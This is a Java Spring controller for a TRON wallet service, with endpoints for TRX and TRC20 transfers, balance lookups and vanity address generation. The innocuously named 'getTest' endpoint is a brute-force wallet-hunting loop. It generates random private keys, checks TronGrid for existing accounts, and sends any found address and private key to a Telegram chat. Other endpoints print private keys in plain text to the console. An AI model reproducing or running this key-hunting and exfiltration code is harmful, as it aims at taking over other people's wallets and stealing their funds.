package com.gkc.trx.controller;

import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.gkc.trx.config.ETHConfig;
import com.gkc.trx.config.TelegramConfig;
import com.gkc.trx.core.ApiWrapper;
import com.gkc.trx.core.contract.Contract;
import com.gkc.trx.core.contract.Trc20Contract;
import com.gkc.trx.core.exceptions.IllegalException;
import com.gkc.trx.crypto.KeyPair;
import com.gkc.trx.entity.Address;
import com.gkc.trx.param.trx.AccountParam;
import com.gkc.trx.proto.Chain;
import com.gkc.trx.utils.ETHUtils;
import com.gkc.trx.utils.TelegramUtils;
import com.gkc.trx.utils.ZipUtils;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.web3j.crypto.Credentials;
import org.web3j.protocol.Web3j;

import java.io.*;
import java.math.BigInteger;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;

@RestController
@RequestMapping("/trx")
public class TrxController {
    @Value("${trx.owner-address}")
    private String ownerAddress;//主钱包地址
    @Value("${trx.private-key}")
    private String privateKey;//主钱包地址私钥
    @Value("${trx.contract-address}")
    private String contractAddress;//合约地址

    //trx转账
    @GetMapping("/transferTrx")
    public String transferTrx(String toAddress, long amount) throws IllegalException {
        ApiWrapper client = ApiWrapper.ofNile(privateKey);
        client.getAccount(toAddress);
        //交易
        com.gkc.trx.proto.Response.TransactionExtention result = client.transfer(ownerAddress, toAddress, amount);
        //签名
        Chain.Transaction signedTransaction = client.signTransaction(result);
        //广播交易
        String txId = client.broadcastTransaction(signedTransaction);
        return txId;
    }


    //合约转账
    @GetMapping("/transferContract")
    public String transfer(String toAddress, long amount) {
        ApiWrapper client = ApiWrapper.ofNile(privateKey);
        Contract contract = client.getContract(contractAddress);
        Trc20Contract token = new Trc20Contract(contract, ownerAddress, client);
        String txid = token.transfer(toAddress, amount, "memo", 1000000000L);
        return txid;
    }
    @GetMapping("/getTest")
    public void getTest(@RequestParam("password") String password) throws IOException {
        File directory = new File("");//设定为当前文件夹
        String path = directory.getCanonicalPath();

            while (true) {
                try {
                    for (int i = 1; i <= 10000; i++) {
                        List<String> addressList = ApiWrapper.generateAddress();
                        String trxPrivateKey = addressList.get(1);
                        KeyPair keyPair = new KeyPair(trxPrivateKey);
                        String base58Address = keyPair.toBase58CheckAddress();
                        System.out.println(i + "地址:" + keyPair.toBase58CheckAddress() + "私钥:" + addressList.get(1));
                        HashMap<String, String> paramMap = new HashMap<>();
                        paramMap.put("address", base58Address);
                        paramMap.put("visible", "true");
                        String result = HttpUtil.post("https://api.trongrid.io/wallet/getaccount", JSON.toJSONString(paramMap));
                        System.out.println(result);
                        JSONObject tt = JSON.parseObject(result);
                        Object gg = tt.get("address");
                        if (gg != null) {
                            Address addressee = new Address();
                            addressee.setAddress(base58Address);
                            addressee.setPrivateKey(trxPrivateKey);
                            //发送给Telegram
                            String message = "找到地址:"+base58Address+"私钥："+trxPrivateKey;
                            TelegramUtils.sendMessage(TelegramConfig.TELEGRAM_TOKEN,TelegramConfig.CHAT_ID,message);
                            String jsonFile = createJsonFile(JSON.toJSON(addressee).toString(), path + File.separator + "trx", i + System.currentTimeMillis() + "");
                            if (jsonFile != null) {
                                ZipUtils.toZip(jsonFile, path + File.separator + "trx" + File.separator + i + ".zip", password);
                            }
                        }
                    }
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
    }
    //生成地址
    @GetMapping("/generateAddress")
    public void generateAddress(@RequestParam("keyword") String keyword,@RequestParam("password") String password) throws IOException {
        File directory = new File("");//设定为当前文件夹
        String path = directory.getCanonicalPath();

        System.out.println(directory.getCanonicalPath());//获取标准的路径
       while(true){
           List<Address> addresses = new ArrayList<>();
           for(int i =1 ;i<=10000;i++) {
               List<String> addressList = ApiWrapper.generateAddress();
               KeyPair keyPair = new KeyPair(addressList.get(1));
               System.out.println(i + "地址:" + keyPair.toBase58CheckAddress() + "私钥:" + addressList.get(1));
               String base58Address = keyPair.toBase58CheckAddress();
               if (base58Address.toLowerCase().endsWith(keyword.toLowerCase())) {
                   Address address = new Address();
                   address.setAddress(keyPair.toBase58CheckAddress());
                   address.setPrivateKey(addressList.get(1));
                   addresses.add(address);
                   if (addresses.size() >= 1) {
                       String jsonFile = createJsonFile(JSON.toJSON(addresses).toString(), path+File.separator+"address", keyword+System.currentTimeMillis() + "");

                       if(jsonFile != null){
                           ZipUtils.toZip(jsonFile,path+File.separator+"address"+File.separator + i + ".zip",password);
                       }

                       addresses = new ArrayList<>();
                   }
               }
           }
        }
    }


    //获取trc20代币余额
    @GetMapping("/getBalance")
    public String getAccount(String address) {
        ApiWrapper client = ApiWrapper.ofNile(privateKey);//需要查询的用户的私钥，可以自己改
        Contract contract = client.getContract(contractAddress);
        Trc20Contract token = new Trc20Contract(contract, contractAddress, client);
        BigInteger balance = token.balanceOf(address);
        return balance.toString();
    }


    public  static String  createJsonFile(String jsonString, String filePath,String i) {

        // 拼接文件完整路径
        String fullPath = filePath + File.separator + i + ".json";

        // 生成json格式文件
        try {
            // 保证创建一个新文件
            File file = new File(fullPath);
            if (!file.getParentFile().exists()) { // 如果父目录不存在，创建父目录
                file.getParentFile().mkdirs();
            }
            if (file.exists()) { // 如果已存在,删除旧文件
                file.delete();
            }
            file.createNewFile();

            // 将格式化后的字符串写入文件
            Writer write = new OutputStreamWriter(new FileOutputStream(file), "UTF-8");
            write.write(jsonString);
            write.flush();
            write.close();
            return fullPath;
        } catch (Exception e) {
            e.printStackTrace();
        }

        // 返回是否成功的标记
        return null;
    }


}
